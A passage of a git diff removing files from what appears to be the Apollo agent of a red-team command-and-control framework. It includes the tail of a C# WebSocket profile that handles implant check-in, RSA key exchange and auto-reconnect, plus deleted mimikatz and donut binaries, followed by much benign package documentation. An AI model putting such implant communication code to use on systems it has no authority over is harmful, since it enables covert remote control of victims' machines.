OnAsyncError; - Client.OnClose += OnAsyncDisconnect; - - Client.Connect(); - if (Client.IsAlive) - { - if (EncryptedExchangeCheck && !_uuidNegotiated) - { - EKEHandshakeMessage handshake1 = new EKEHandshakeMessage() - { - Action = "staging_rsa", - PublicKey = this.rsa.ExportPublicKey(), - SessionID = this.rsa.SessionId - }; - AddToSenderQueue(handshake1); - - if (!Recv(MessageType.EKEHandshakeResponse, - delegate (IMythicMessage resp) - { - EKEHandshakeResponse respHandshake = (EKEHandshakeResponse)resp; - byte[] tmpKey = rsa.RSA.Decrypt(Convert.FromBase64String(respHandshake.SessionKey), true); - ((ICryptographySerializer)Serializer).UpdateKey(Convert.ToBase64String(tmpKey)); - ((ICryptographySerializer)Serializer).UpdateUUID(respHandshake.UUID); - Agent.SetUUID(respHandshake.UUID); - _keyExchanged = true; - return true; - })) - { - return false; - } - } - - AddToSenderQueue(checkinMsg); - if ((agentProcessorTask == null || agentProcessorTask.IsCompleted) || !agentProcessorTask.IsCompleted) - { - return Recv(MessageType.MessageResponse, delegate (IMythicMessage resp) - { - MessageResponse mResp = (MessageResponse)resp; - if (!_uuidNegotiated) - { - _uuidNegotiated = true; - ((ICryptographySerializer)Serializer).UpdateUUID(mResp.ID); - Agent.SetUUID(mResp.ID); - checkinMsg.UUID = mResp.ID; - } - Connected = true; - return onResp(mResp); - }); - } - else - { - return true; - } - } - else - { - return false; - } - } - - - private bool AddToSenderQueue(IMythicMessage msg) - { - WebSocketMessage m = new WebSocketMessage() - { - client = true, - data = "", - tag = String.Empty - }; - - m.data = Serializer.Serialize(msg); - string message = jsonSerializer.Serialize(m); - senderQueue.Enqueue(Encoding.UTF8.GetBytes(message)); - - senderEvent.Set(); - return true; - } - - private void OnAsyncError(object sender, ErrorEventArgs e) - { - if (Client.IsAlive) - { - Client.Close(); - } - cancellationTokenSource.Cancel(); - } - - private void OnAsyncDisconnect(object sender, CloseEventArgs args) - { - if (Client.IsAlive) - { - Client.Close(); - } - //cancellationTokenSource.Cancel(); - (new ST.Task(Start)).Start(); - } - - private void OnAsyncMessageReceived(object sender, MessageEventArgs args) - { - WebSocketMessage wsm = WebsocketJsonContext.Deserialize(args.Data); - if (EncryptedExchangeCheck) - { - if (!_keyExchanged) - { - receiverQueue.Enqueue(Serializer.Deserialize(wsm.data)); - } - else - { - receiverQueue.Enqueue(Serializer.Deserialize(wsm.data)); - } - } - else - { - receiverQueue.Enqueue(Serializer.Deserialize(wsm.data)); - } - - receiverEvent.Set(); - } - - private void DebugPrint(string message) - { - if (Debug) - { - string timestampString = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"); - string msg = "[" + timestampString + "] " + message; - - Console.WriteLine(msg); - - } - } - - private void OnAsyncConnect(object sender, EventArgs args) - { - DebugPrint("Connected."); - ST.Task tmp = new ST.Task(sendAction); - writerTasks[Client] = tmp; - writerTasks[Client].Start(); - Connected = true; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/WebsocketProfile/WebsocketProfile.csproj b/Payload_Type/apollo/apollo/agent_code/WebsocketProfile/WebsocketProfile.csproj deleted file mode 100644 index 038f2d56..00000000 --- a/Payload_Type/apollo/apollo/agent_code/WebsocketProfile/WebsocketProfile.csproj +++ /dev/null @@ -1,22 +0,0 @@ - - - net451 - Library - 12 - enable - false - AnyCPU;x64;x86 - WebsocketProfile - WebsocketProfile - - - - - - - - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/WebsocketProfile/packages.config b/Payload_Type/apollo/apollo/agent_code/WebsocketProfile/packages.config deleted file mode 100644 index c27a9b94..00000000 --- a/Payload_Type/apollo/apollo/agent_code/WebsocketProfile/packages.config +++ /dev/null @@ -1,5 +0,0 @@ - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/directory.build.props b/Payload_Type/apollo/apollo/agent_code/directory.build.props deleted file mode 100644 index 190b3697..00000000 --- a/Payload_Type/apollo/apollo/agent_code/directory.build.props +++ /dev/null @@ -1,10 +0,0 @@ - - - net451 - 12 - enable - false - AnyCPU;x64;x86 - - - diff --git a/Payload_Type/apollo/apollo/agent_code/donut b/Payload_Type/apollo/apollo/agent_code/donut deleted file mode 100755 index d739a29d..00000000 Binary files a/Payload_Type/apollo/apollo/agent_code/donut and /dev/null differ diff --git a/Payload_Type/apollo/apollo/agent_code/donut.exe b/Payload_Type/apollo/apollo/agent_code/donut.exe deleted file mode 100644 index f5e6faf9..00000000 Binary files a/Payload_Type/apollo/apollo/agent_code/donut.exe and /dev/null differ diff --git a/Payload_Type/apollo/apollo/agent_code/mimikatz_x64.exe b/Payload_Type/apollo/apollo/agent_code/mimikatz_x64.exe deleted file mode 100644 index 6f983bb1..00000000 Binary files a/Payload_Type/apollo/apollo/agent_code/mimikatz_x64.exe and /dev/null differ diff --git a/Payload_Type/apollo/apollo/agent_code/packages/Costura.Fody.5.7.0/.signature.p7s b/Payload_Type/apollo/apollo/agent_code/packages/Costura.Fody.5.7.0/.signature.p7s deleted file mode 100644 index a188f890..00000000 Binary files a/Payload_Type/apollo/apollo/agent_code/packages/Costura.Fody.5.7.0/.signature.p7s and /dev/null differ diff --git a/Payload_Type/apollo/apollo/agent_code/packages/Costura.Fody.5.7.0/Costura.Fody.5.7.0.nupkg b/Payload_Type/apollo/apollo/agent_code/packages/Costura.Fody.5.7.0/Costura.Fody.5.7.0.nupkg deleted file mode 100644 index a72f637c..00000000 Binary files a/Payload_Type/apollo/apollo/agent_code/packages/Costura.Fody.5.7.0/Costura.Fody.5.7.0.nupkg and /dev/null differ diff --git a/Payload_Type/apollo/apollo/agent_code/packages/Costura.Fody.5.7.0/build/Costura.Fody.props b/Payload_Type/apollo/apollo/agent_code/packages/Costura.Fody.5.7.0/build/Costura.Fody.props deleted file mode 100644 index 043e08fe..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/Costura.Fody.5.7.0/build/Costura.Fody.props +++ /dev/null @@ -1,15 +0,0 @@ - - - - netclassicweaver - netstandardweaver - - - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/packages/Costura.Fody.5.7.0/build/Costura.Fody.targets b/Payload_Type/apollo/apollo/agent_code/packages/Costura.Fody.5.7.0/build/Costura.Fody.targets deleted file mode 100644 index 1a3b9765..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/Costura.Fody.5.7.0/build/Costura.Fody.targets +++ /dev/null @@ -1,13 +0,0 @@ - - - - true - - - - - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/packages/Costura.Fody.5.7.0/icon.png b/Payload_Type/apollo/apollo/agent_code/packages/Costura.Fody.5.7.0/icon.png deleted file mode 100644 index e5fdc34a..00000000 Binary files a/Payload_Type/apollo/apollo/agent_code/packages/Costura.Fody.5.7.0/icon.png and /dev/null differ diff --git a/Payload_Type/apollo/apollo/agent_code/packages/Costura.Fody.5.7.0/lib/netstandard1.0/Costura.xml b/Payload_Type/apollo/apollo/agent_code/packages/Costura.Fody.5.7.0/lib/netstandard1.0/Costura.xml deleted file mode 100644 index 75ef55b5..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/Costura.Fody.5.7.0/lib/netstandard1.0/Costura.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - Costura - - - - - Note: do not rename this class or put it inside a namespace. - - - - - Contains methods for interacting with the Costura system. - - - - - Call this to Initialize the Costura system. - - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/Costura.Fody.5.7.0/netclassicweaver/Costura.Fody.xcf b/Payload_Type/apollo/apollo/agent_code/packages/Costura.Fody.5.7.0/netclassicweaver/Costura.Fody.xcf deleted file mode 100644 index cdea6625..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/Costura.Fody.5.7.0/netclassicweaver/Costura.Fody.xcf +++ /dev/null @@ -1,115 +0,0 @@ - - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with line breaks. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with line breaks. - - - - - The order of preloaded assemblies, delimited with line breaks. - - - - - - This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. - - - - - Controls if .pdbs for reference assemblies are also embedded. - - - - - Controls if runtime assemblies are also embedded. - - - - - Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. - - - - - Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. - - - - - As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. - - - - - Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. - - - - - Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with |. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with |. - - - - - The order of preloaded assemblies, delimited with |. - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/packages/Costura.Fody.5.7.0/netstandardweaver/Costura.Fody.xcf b/Payload_Type/apollo/apollo/agent_code/packages/Costura.Fody.5.7.0/netstandardweaver/Costura.Fody.xcf deleted file mode 100644 index cdea6625..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/Costura.Fody.5.7.0/netstandardweaver/Costura.Fody.xcf +++ /dev/null @@ -1,115 +0,0 @@ - - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with line breaks. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with line breaks. - - - - - The order of preloaded assemblies, delimited with line breaks. - - - - - - This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. - - - - - Controls if .pdbs for reference assemblies are also embedded. - - - - - Controls if runtime assemblies are also embedded. - - - - - Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. - - - - - Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. - - - - - As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. - - - - - Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. - - - - - Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with |. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with |. - - - - - The order of preloaded assemblies, delimited with |. - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestAdapter.2.1.1/.signature.p7s b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestAdapter.2.1.1/.signature.p7s deleted file mode 100644 index da874034..00000000 Binary files a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestAdapter.2.1.1/.signature.p7s and /dev/null differ diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestAdapter.2.1.1/LICENSE.txt b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestAdapter.2.1.1/LICENSE.txt deleted file mode 100644 index 0a88960e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestAdapter.2.1.1/LICENSE.txt +++ /dev/null @@ -1,23 +0,0 @@ -MSTest Framework - -Copyright (c) Microsoft Corporation. All rights reserved. - -MIT License - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestAdapter.2.1.1/MSTest.TestAdapter.2.1.1.nupkg b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestAdapter.2.1.1/MSTest.TestAdapter.2.1.1.nupkg deleted file mode 100644 index 383523a3..00000000 Binary files a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestAdapter.2.1.1/MSTest.TestAdapter.2.1.1.nupkg and /dev/null differ diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestAdapter.2.1.1/build/net45/MSTest.TestAdapter.props b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestAdapter.2.1.1/build/net45/MSTest.TestAdapter.props deleted file mode 100644 index 4fd179fc..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestAdapter.2.1.1/build/net45/MSTest.TestAdapter.props +++ /dev/null @@ -1,20 +0,0 @@ - - - - - Microsoft.VisualStudio.TestPlatform.MSTest.TestAdapter.dll - PreserveNewest - False - - - Microsoft.VisualStudio.TestPlatform.MSTestAdapter.PlatformServices.Interface.dll - PreserveNewest - False - - - Microsoft.VisualStudio.TestPlatform.MSTestAdapter.PlatformServices.dll - PreserveNewest - False - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestAdapter.2.1.1/build/net45/MSTest.TestAdapter.targets b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestAdapter.2.1.1/build/net45/MSTest.TestAdapter.targets deleted file mode 100644 index 0649e3a2..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestAdapter.2.1.1/build/net45/MSTest.TestAdapter.targets +++ /dev/null @@ -1,35 +0,0 @@ - - - - true - - - - - - - - - - - - - - - - - - %(CurrentUICultureHierarchy.Identity) - - - - %(MSTestV2ResourceFiles.CultureString)\%(Filename)%(Extension) - PreserveNewest - False - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestAdapter.2.1.1/build/netcoreapp1.0/MSTest.TestAdapter.props b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestAdapter.2.1.1/build/netcoreapp1.0/MSTest.TestAdapter.props deleted file mode 100644 index 14ecf32d..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestAdapter.2.1.1/build/netcoreapp1.0/MSTest.TestAdapter.props +++ /dev/null @@ -1,20 +0,0 @@ - - - - - Microsoft.VisualStudio.TestPlatform.MSTest.TestAdapter.dll - PreserveNewest - False - - - Microsoft.VisualStudio.TestPlatform.MSTestAdapter.PlatformServices.Interface.dll - PreserveNewest - False - - - Microsoft.VisualStudio.TestPlatform.MSTestAdapter.PlatformServices.dll - PreserveNewest - False - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestAdapter.2.1.1/build/uap10.0/MSTest.TestAdapter.props b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestAdapter.2.1.1/build/uap10.0/MSTest.TestAdapter.props deleted file mode 100644 index 14ecf32d..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestAdapter.2.1.1/build/uap10.0/MSTest.TestAdapter.props +++ /dev/null @@ -1,20 +0,0 @@ - - - - - Microsoft.VisualStudio.TestPlatform.MSTest.TestAdapter.dll - PreserveNewest - False - - - Microsoft.VisualStudio.TestPlatform.MSTestAdapter.PlatformServices.Interface.dll - PreserveNewest - False - - - Microsoft.VisualStudio.TestPlatform.MSTestAdapter.PlatformServices.dll - PreserveNewest - False - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestAdapter.2.1.1/build/uap10.0/MSTest.TestAdapter.targets b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestAdapter.2.1.1/build/uap10.0/MSTest.TestAdapter.targets deleted file mode 100644 index b0404380..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestAdapter.2.1.1/build/uap10.0/MSTest.TestAdapter.targets +++ /dev/null @@ -1,42 +0,0 @@ - - - - true - - - - - - - - - - - - - - - - - - %(CurrentUICultureHierarchy.Identity) - - - - - - - - - $(CurrentUICultureHierarchy)\%(FileName).resources.dll - PreserveNewest - %(FullPath) - False - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/.signature.p7s b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/.signature.p7s deleted file mode 100644 index 397a2b0f..00000000 Binary files a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/.signature.p7s and /dev/null differ diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/LICENSE.txt b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/LICENSE.txt deleted file mode 100644 index 0a88960e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/LICENSE.txt +++ /dev/null @@ -1,23 +0,0 @@ -MSTest Framework - -Copyright (c) Microsoft Corporation. All rights reserved. - -MIT License - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/MSTest.TestFramework.2.1.1.nupkg b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/MSTest.TestFramework.2.1.1.nupkg deleted file mode 100644 index 7a7d2ba6..00000000 Binary files a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/MSTest.TestFramework.2.1.1.nupkg and /dev/null differ diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.XML b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.XML deleted file mode 100644 index 2b16a07d..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.XML +++ /dev/null @@ -1,1115 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Used to specify deployment item (file or directory) for per-test deployment. - Can be specified on test class or test method. - Can have multiple instances of the attribute to specify more than one item. - The item path can be absolute or relative, if relative, it is relative to RunConfig.RelativePathRoot. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - - - Initializes a new instance of the class. - - The file or directory to deploy. The path is relative to the build output directory. The item will be copied to the same directory as the deployed test assemblies. - - - - Initializes a new instance of the class - - The relative or absolute path to the file or directory to deploy. The path is relative to the build output directory. The item will be copied to the same directory as the deployed test assemblies. - The path of the directory to which the items are to be copied. It can be either absolute or relative to the deployment directory. All files and directories identified by will be copied to this directory. - - - - Gets the path of the source file or folder to be copied. - - - - - Gets the path of the directory to which the item is copied. - - - - - Contains literals for names of sections, properties, attributes. - - - - - The configuration section name. - - - - - The configuration section name for Beta2. Left around for compat. - - - - - Section name for Data source. - - - - - Attribute name for 'Name' - - - - - Attribute name for 'ConnectionString' - - - - - Attribute name for 'DataAccessMethod' - - - - - Attribute name for 'DataTable' - - - - - The Data Source element. - - - - - Gets or sets the name of this configuration. - - - - - Gets or sets the ConnectionStringSettings element in <connectionStrings> section in the .config file. - - - - - Gets or sets the name of the data table. - - - - - Gets or sets the type of data access. - - - - - Gets the key name. - - - - - Gets the configuration properties. - - - - - The Data source element collection. - - - - - Initializes a new instance of the class. - - - - - Returns the configuration element with the specified key. - - The key of the element to return. - The System.Configuration.ConfigurationElement with the specified key; otherwise, null. - - - - Gets the configuration element at the specified index location. - - The index location of the System.Configuration.ConfigurationElement to return. - - - - Adds a configuration element to the configuration element collection. - - The System.Configuration.ConfigurationElement to add. - - - - Removes a System.Configuration.ConfigurationElement from the collection. - - The . - - - - Removes a System.Configuration.ConfigurationElement from the collection. - - The key of the System.Configuration.ConfigurationElement to remove. - - - - Removes all configuration element objects from the collection. - - - - - Creates a new . - - A new . - - - - Gets the element key for a specified configuration element. - - The System.Configuration.ConfigurationElement to return the key for. - An System.Object that acts as the key for the specified System.Configuration.ConfigurationElement. - - - - Adds a configuration element to the configuration element collection. - - The System.Configuration.ConfigurationElement to add. - - - - Adds a configuration element to the configuration element collection. - - The index location at which to add the specified System.Configuration.ConfigurationElement. - The System.Configuration.ConfigurationElement to add. - - - - Support for configuration settings for Tests. - - - - - Gets the configuration section for tests. - - - - - The configuration section for tests. - - - - - Gets the data sources for this configuration section. - - - - - Gets the collection of properties. - - - The of properties for the element. - - - - - This class represents the live NON public INTERNAL object in the system - - - - - Initializes a new instance of the class that contains - the already existing object of the private class - - object that serves as starting point to reach the private members - the de-referencing string using . that points to the object to be retrieved as in m_X.m_Y.m_Z - - - - Initializes a new instance of the class that wraps the - specified type. - - Name of the assembly - fully qualified name - Arguments to pass to the constructor - - - - Initializes a new instance of the class that wraps the - specified type. - - Name of the assembly - fully qualified name - An array of objects representing the number, order, and type of the parameters for the constructor to get - Arguments to pass to the constructor - - - - Initializes a new instance of the class that wraps the - specified type. - - type of the object to create - Arguments to pass to the constructor - - - - Initializes a new instance of the class that wraps the - specified type. - - type of the object to create - An array of objects representing the number, order, and type of the parameters for the constructor to get - Arguments to pass to the constructor - - - - Initializes a new instance of the class that wraps - the given object. - - object to wrap - - - - Initializes a new instance of the class that wraps - the given object. - - object to wrap - PrivateType object - - - - Gets or sets the target - - - - - Gets the type of underlying object - - - - - returns the hash code of the target object - - int representing hashcode of the target object - - - - Equals - - Object with whom to compare - returns true if the objects are equal. - - - - Invokes the specified method - - Name of the method - Arguments to pass to the member to invoke. - Result of method call - - - - Invokes the specified method - - Name of the method - An array of objects representing the number, order, and type of the parameters for the method to get. - Arguments to pass to the member to invoke. - Result of method call - - - - Invokes the specified method - - Name of the method - An array of objects representing the number, order, and type of the parameters for the method to get. - Arguments to pass to the member to invoke. - An array of types corresponding to the types of the generic arguments. - Result of method call - - - - Invokes the specified method - - Name of the method - Arguments to pass to the member to invoke. - Culture info - Result of method call - - - - Invokes the specified method - - Name of the method - An array of objects representing the number, order, and type of the parameters for the method to get. - Arguments to pass to the member to invoke. - Culture info - Result of method call - - - - Invokes the specified method - - Name of the method - A bitmask comprised of one or more that specify how the search is conducted. - Arguments to pass to the member to invoke. - Result of method call - - - - Invokes the specified method - - Name of the method - A bitmask comprised of one or more that specify how the search is conducted. - An array of objects representing the number, order, and type of the parameters for the method to get. - Arguments to pass to the member to invoke. - Result of method call - - - - Invokes the specified method - - Name of the method - A bitmask comprised of one or more that specify how the search is conducted. - Arguments to pass to the member to invoke. - Culture info - Result of method call - - - - Invokes the specified method - - Name of the method - A bitmask comprised of one or more that specify how the search is conducted. - An array of objects representing the number, order, and type of the parameters for the method to get. - Arguments to pass to the member to invoke. - Culture info - Result of method call - - - - Invokes the specified method - - Name of the method - A bitmask comprised of one or more that specify how the search is conducted. - An array of objects representing the number, order, and type of the parameters for the method to get. - Arguments to pass to the member to invoke. - Culture info - An array of types corresponding to the types of the generic arguments. - Result of method call - - - - Gets the array element using array of subscripts for each dimension - - Name of the member - the indices of array - An array of elements. - - - - Sets the array element using array of subscripts for each dimension - - Name of the member - Value to set - the indices of array - - - - Gets the array element using array of subscripts for each dimension - - Name of the member - A bitmask comprised of one or more that specify how the search is conducted. - the indices of array - An array of elements. - - - - Sets the array element using array of subscripts for each dimension - - Name of the member - A bitmask comprised of one or more that specify how the search is conducted. - Value to set - the indices of array - - - - Get the field - - Name of the field - The field. - - - - Sets the field - - Name of the field - value to set - - - - Gets the field - - Name of the field - A bitmask comprised of one or more that specify how the search is conducted. - The field. - - - - Sets the field - - Name of the field - A bitmask comprised of one or more that specify how the search is conducted. - value to set - - - - Get the field or property - - Name of the field or property - The field or property. - - - - Sets the field or property - - Name of the field or property - value to set - - - - Gets the field or property - - Name of the field or property - A bitmask comprised of one or more that specify how the search is conducted. - The field or property. - - - - Sets the field or property - - Name of the field or property - A bitmask comprised of one or more that specify how the search is conducted. - value to set - - - - Gets the property - - Name of the property - Arguments to pass to the member to invoke. - The property. - - - - Gets the property - - Name of the property - An array of objects representing the number, order, and type of the parameters for the indexed property. - Arguments to pass to the member to invoke. - The property. - - - - Set the property - - Name of the property - value to set - Arguments to pass to the member to invoke. - - - - Set the property - - Name of the property - An array of objects representing the number, order, and type of the parameters for the indexed property. - value to set - Arguments to pass to the member to invoke. - - - - Gets the property - - Name of the property - A bitmask comprised of one or more that specify how the search is conducted. - Arguments to pass to the member to invoke. - The property. - - - - Gets the property - - Name of the property - A bitmask comprised of one or more that specify how the search is conducted. - An array of objects representing the number, order, and type of the parameters for the indexed property. - Arguments to pass to the member to invoke. - The property. - - - - Sets the property - - Name of the property - A bitmask comprised of one or more that specify how the search is conducted. - value to set - Arguments to pass to the member to invoke. - - - - Sets the property - - Name of the property - A bitmask comprised of one or more that specify how the search is conducted. - value to set - An array of objects representing the number, order, and type of the parameters for the indexed property. - Arguments to pass to the member to invoke. - - - - Validate access string - - access string - - - - Invokes the member - - Name of the member - Additional attributes - Arguments for the invocation - Culture - Result of the invocation - - - - Extracts the most appropriate generic method signature from the current private type. - - The name of the method in which to search the signature cache. - An array of types corresponding to the types of the parameters in which to search. - An array of types corresponding to the types of the generic arguments. - to further filter the method signatures. - Modifiers for parameters. - A method info instance. - - - - This class represents a private class for the Private Accessors functionality. - - - - - Binds to everything - - - - - The wrapped type. - - - - - Initializes a new instance of the class that contains the private type. - - Assembly name - fully qualified name of the - - - - Initializes a new instance of the class that contains - the private type from the type object - - The wrapped Type to create. - - - - Gets the referenced type - - - - - Invokes static member - - Name of the member to InvokeHelper - Arguments to the invocation - Result of invocation - - - - Invokes static member - - Name of the member to InvokeHelper - An array of objects representing the number, order, and type of the parameters for the method to invoke - Arguments to the invocation - Result of invocation - - - - Invokes static member - - Name of the member to InvokeHelper - An array of objects representing the number, order, and type of the parameters for the method to invoke - Arguments to the invocation - An array of types corresponding to the types of the generic arguments. - Result of invocation - - - - Invokes the static method - - Name of the member - Arguments to the invocation - Culture - Result of invocation - - - - Invokes the static method - - Name of the member - An array of objects representing the number, order, and type of the parameters for the method to invoke - Arguments to the invocation - Culture info - Result of invocation - - - - Invokes the static method - - Name of the member - Additional invocation attributes - Arguments to the invocation - Result of invocation - - - - Invokes the static method - - Name of the member - Additional invocation attributes - An array of objects representing the number, order, and type of the parameters for the method to invoke - Arguments to the invocation - Result of invocation - - - - Invokes the static method - - Name of the member - Additional invocation attributes - Arguments to the invocation - Culture - Result of invocation - - - - Invokes the static method - - Name of the member - Additional invocation attributes - /// An array of objects representing the number, order, and type of the parameters for the method to invoke - Arguments to the invocation - Culture - Result of invocation - - - - Invokes the static method - - Name of the member - Additional invocation attributes - /// An array of objects representing the number, order, and type of the parameters for the method to invoke - Arguments to the invocation - Culture - An array of types corresponding to the types of the generic arguments. - Result of invocation - - - - Gets the element in static array - - Name of the array - - A one-dimensional array of 32-bit integers that represent the indexes specifying - the position of the element to get. For instance, to access a[10][11] the indices would be {10,11} - - element at the specified location - - - - Sets the member of the static array - - Name of the array - value to set - - A one-dimensional array 